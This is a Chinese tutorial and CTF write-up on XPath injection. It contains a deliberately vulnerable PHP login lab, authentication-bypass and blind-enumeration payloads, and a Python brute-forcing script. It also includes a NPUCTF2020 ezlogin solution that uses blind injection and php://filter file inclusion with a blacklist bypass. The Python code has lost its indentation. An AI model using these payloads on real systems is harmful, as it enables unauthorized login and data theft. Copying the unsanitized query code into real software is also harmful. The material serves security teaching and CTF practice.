XPATH注入
0x01 什么是xpath?
xpath是一门在xml文档中查找信息的语言,通过xpath语言,可以对xml文档中的元素和属性进行查找以及遍历。类似SQL是一门在数据库中查找信息的语言
xpath和SQL的区别:
- xpath没有强调权限这一概念,xpath注入能查询到整个xml中的所有内容,而在SQL注入中,很可能会因为权限的原因只能查询到指定表中的内容
- xpath语法统一,不会像数据库一样,存在不同类型的数据库,对应不同的SQL语言
- 数据库更多保存的是用户数据,xml保存的更多是应用程序的配置数据。
0x02 xpath注入原理
1、xpath查询语句
当存在value.xml文件:
<?xml version="1.0" encoding="UTF-8"?>
<root>
<users>
<admin>
<id>1</id>
<username>admin</username>
<password>admin</password>
</admin>
</users>
</root>
以下语句会按照节点名去查询value.xml中保存的用户名和密码:
/root/users/admin[username/text()='$username' and password/text()='$password']
正如xpath类似SQL一样,xpath注入的原理也类似于SQL注入,由于过滤不当,攻击者恶意构造的传参被当做xpath查询语句,此时就会获取到一些本应不该获取到的数据,造成xpath注入。
当有以下代码片段时:
<?php
$username = $_REQUEST['username'];
$password = $_REQUEST['password'];
$query = "/root/users/user[username/text()='$username' and password/text()='$password']";
$res = $xml->xpath($query);
?>
可以看到从前端获取到username和password变量后,直接拼接进xpath语句中进行查询,存在xpath注入漏洞
我们构造一个最简单的xpath注入语句:
username=admin&password=123' or 1=1]|test['
这样拼接后的xpath查询语句是
/root/users/user[username/text()='admin' and password/text()='123' or 1=1]|test['']
后面的or 1=1会绕过前面的查询语句,原理类似SQL注入中的or 1=1,如果用户登录时使用这条查询语句,那么用户就会成功登录
0x03 Python利用xpath注入
在本地搭建一个靶场
传参username=admin&password=123
根据返回的query,去构造xpath注入
传参username=admin&password=123' or 1=1]|test['
可以看到成功利用xpath注入绕过了用户名和密码验证
构造语句列出所有节点,寻找flag
username=admin&password=a123' or 1=1]|//*|test['
username=admin&password=a123' or 1=1]|test[' //xpath注入
username=admin&password=a123' or 1=1]|//*|test[' //列出当前节点下所有元素
username=admin&password=a123' or count(/*)=1]|test[' //获取根节点数
username=admin&password=a123' or substring(name(/*[position()=1]),1,1) = 'r']|test[' //枚举根节点
username=admin&password=a123' or count(/root/*)=1]|test[' //枚举根节点root下节点数
username=admin&password=a123' or substring((/root/users/user/id[1]),1,1) = '1']|test[' //枚举id的值
用以下举例:
username=admin&password=123' or substring(name(/*[position()=1]),1,1) = 'r']|test[' //枚举根节点
在password的值中,第一个单引号是为了闭合原本的xpath语句,/*[position()=1]
代表根节点下第一个节点,也可以用 /*[1]
来表示,所以substring(name(/*[position()=1]),1,1) = 'r'
就是截取根节点下第一个节点名的第一个字符,判断是否等于r,后面的 |test['
用于逻辑和语法上闭合掉原本的查询语句末尾的 ']
,最后后端执行的xpath语句为
/root/users/user[username/text()='admin' and password/text()='123' or substring(name(/*[position()=1]),1,1) = 'r']|test['']
此时只要substring(name(/*[position()=1]),1,1) = 'r'
结果为true,那么查询语句就会执行成功,返回welcom界面
因此利用以上payload,写个脚本去枚举flag的值:
首先猜解当前节点下的节点数量:
#payload:' or count(节点名*)=猜解的数量]|test['
url = "http://127.0.0.1/index.php?username=admin&password=admin"
for num in range(1,99):
payload_count = ("' or count(%s*)=%d]|test['" % (root,num))
payload = url + payload_count
req = requests.get(payload).text
if "<h1>Welcome</h1>" in req:
return num
#没有枚举出节点数
num = 0
return num
然后按照字符串截取去猜解节点的名称:
#payload:' or substring(name(/节点名称*[position()=第n个节点]),第n个字符,1) = '枚举的字符']|test['
url = "http://127.0.0.1/index.php?username=admin&password=admin"
tmp_root = root
for num in range(1,99):
flag = 0
for value in range(33,127):
payload_value = ("' or substring(name(/%s*[position()=%d]),%d,1) = '%s']|test['" % (root,i,num,chr(value)))
payload_value = quote(payload_value)
payload = url + payload_value
req = requests.get(payload).text
if "<h1>Welcome</h1>" in req:
#枚举成功
tmp_root = tmp_root + chr(value)
num += 1
flag = 1
break
if flag == 0:
#枚举完成
tmp_root = str(tmp_root) + "/"
print(tmp_root)
break
猜解节点的值:
#payload:' or substring((节点名[节点数]),第n个字符,1) = '枚举的字符']|test['
url = "http://127.0.0.1/index.php?username=admin&password=admin"
for root_num in range(1,99):
if root[-1] == "/":
now_root = root[:-1]
for num in range(1,99):
flag = 0
for value in range(33,127):
payload_value = ("' or substring((%s[%d]),%d,1) = '%s']|test['" % (now_root,root_num,num,chr(value)))
payload_value = quote(payload_value)
payload = url + payload_value
req = requests.get(payload).text
if "<h1>Welcome</h1>" in req:
#枚举成功,输出当前字符
print(chr(value) , end = '')
flag = 1
break
if flag == 0:
return 0
猜解flag:
-u:指定url
-p:指定要枚举的路径名
python .\xpath_burst.py -u "http://127.0.0.1/xpath/index.php?username=admin&password=123" -p /
index.php:
<?php
error_reporting(0);
echo "where is flag?";
echo "<br>";
$xml = simplexml_load_file("value.xml");
$username = $_REQUEST['username'] ?: "NULL";
$password = $_REQUEST['password'] ?: "NULL";
$res = "your username is :$username,password is :$password";
echo htmlspecialchars($res);
echo "<br>";
if ($username != "NULL" && $password != "NULL") {
$query = "/root/users/user[username/text()='$username' and password/text()='$password']";
echo "query:".$query;
$res = $xml->xpath($query);
if($res){
echo "<h1>Welcome</h1><br>";
foreach($res as $key => $value){
if($value->id != ""){
echo "ID:$value->id<br>";
echo "name:$value->username<br>";
}
if($value->flag != ""){
echo "flag{xxxxxxxx}<br>";
}
}
}
}
?>
value.xml:
<?xml version="1.0" encoding="UTF-8"?>
<root>
<users>
<admin>
<id>1</id>
<username>admin</username>
<password>admin</password>
</admin>
<user>
<id>2</id>
<username>test</username>
<password>test</password>
</user>
<secret>
<flag>flag{Y0u_F1nD_Me!}</flag>
</secret>
</users>
</root>
xpathburst.py:
import requests
from urllib.parse import quote
import sys
import getopt
opts,args = getopt.getopt(sys.argv[1:],"hu:p:")
url = ""
root = "/"
#获取节点数
def burst_count():
for num in range(1,99):
payload_count = ("' or count(%s*)=%d]|test['" % (root,num))
payload = url + payload_count
req = requests.get(payload).text
if "<h1>Welcome</h1>" in req:
return num
#没有枚举出节点数
num = 0
return num
#枚举节点名
def burst_name(i):
tmp_root = root
for num in range(1,99):
flag = 0
for value in range(33,127):
payload_value = ("' or substring(name(/%s*[position()=%d]),%d,1) = '%s']|test['" % (root,i,num,chr(value)))
payload_value = quote(payload_value)
payload = url + payload_value
req = requests.get(payload).text
if "<h1>Welcome</h1>" in req:
#枚举成功
tmp_root = tmp_root + chr(value)
num += 1
flag = 1
break
if flag == 0:
#枚举完成
tmp_root = str(tmp_root) + "/"
print(tmp_root)
break
#枚举节点值
def burst_value():
flag_root = root
for root_num in range(1,99):
if root[-1] == "/":
tmp_root = root
now_root = root[:-1]
for num in range(1,99):
flag = 0
for value in range(33,127):
payload_value = ("' or substring((%s[%d]),%d,1) = '%s']|test['" % (now_root,root_num,num,chr(value)))
payload_value = quote(payload_value)
payload = url + payload_value
req = requests.get(payload).text
if "<h1>Welcome</h1>" in req:
print(chr(value) , end = '')
#tmp_root = tmp_root + chr(value)
flag = 1
break
if flag == 0:
return 0
def help():
print("python xpathburst.py -u \"http://127.0.0.1/index.php?username=admin&password=admin\" -p \"/\"")
return 0
if __name__ == "__main__":
for key, value in opts:
if key == "-u":
url = value # "http://127.0.0.1/xpath/index.php?username=admin&password=a123"
elif key == "-p":
root = value # "/root/users/secret/"
else:
help()
exit(0)
# 初始化节点名称和节点数量
if root[-1] != "/":
root = root + "/"
count = 0
#获取根节点数
count = burst_count()
if count != 0:
print("%s路径有%d个节点" % (root, count))
for i in range(1, count + 1):
burst_name(i)
else:
#当前路径下无节点,尝试枚举值
print("当前路径下无节点,尝试枚举值")
print("%s:%s" % (root, root.split('/')[-1]) ,end = "")
burst_value()
0x04 一道CTF
[NPUCTF2020]ezlogin
由于已经知道这个题是用xpath注入了,所以跳过前期尝试的思路,通过抓包看传参也能看出使用的是xpath
在admin处插入xpath代码
admin' or 1=1]|test['
admin' or 1=2]|test['
提示用户名密码错误,多次尝试,这里每次尝试都要去请求index.php,重新获取token
admin' or count(/*)=1]|test[' //非法操作!
admin' or count(/*)=2]|test[' //用户名或密码错误!
当操作成功时返回非法操作,操作失败时返回用户名或密码错误,可以判断是xpath盲注,由于每次尝试都要获取新的token,用脚本去跑
import time
import requests
import re
url = "http://e43da19b-26c0-497a-9062-80b899e11d42.node4.buuoj.cn:81/login.php"
head ={
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36",
"Content-Type": "application/xml"
}
strs = "abcdefghigklmnopqrstuvwxyz1234567890ABCDEFGHIGKLMNOPQRSTUVWXYZ"
s = requests.session()
flag = ""
def get_token():
find_token = re.compile('<input type="hidden" id="token" value="(.*?)" />')
r = s.get(url=url)
token = find_token.findall(r.text)[0]
return token
def burst():
payload = ("<username>admin' or substring(name(/*),%d,1)='%s']|test['</username><password>123</password><token>%s</token>" % (i, str, token))
req = s.post(url=url, headers=head, data=payload)
return req.text
for i in range(1,9):
tmp = 0
for str in strs:
token = get_token()
time.sleep(1)
req = burst()
if "非法操作!" in req:
flag += str
print(flag)
tmp = 1
if tmp == 0:
exit(0)
枚举出账号密码是adm1n/cf7414b5bdb2e65ee43083f4ddbc4d9f
md5解密后是gtfly123,登录
查看源码可以看到一串base64
解码结果是flag is in /flag
登陆成功后可以看到url中有着传参admin.php?file=welcome,考虑是文件包含
返回的内容被过滤了,可以用php内置的协议读取base64编码后的flag
admin.php?file=php://filter/read=convert.base64-encode/resource=/flag
这里应该对输入做了黑名单限制,尝试大小写绕过
admin.php?file=phP://filter/convert.basE64-encode/resource=/flag
base64解码得到flag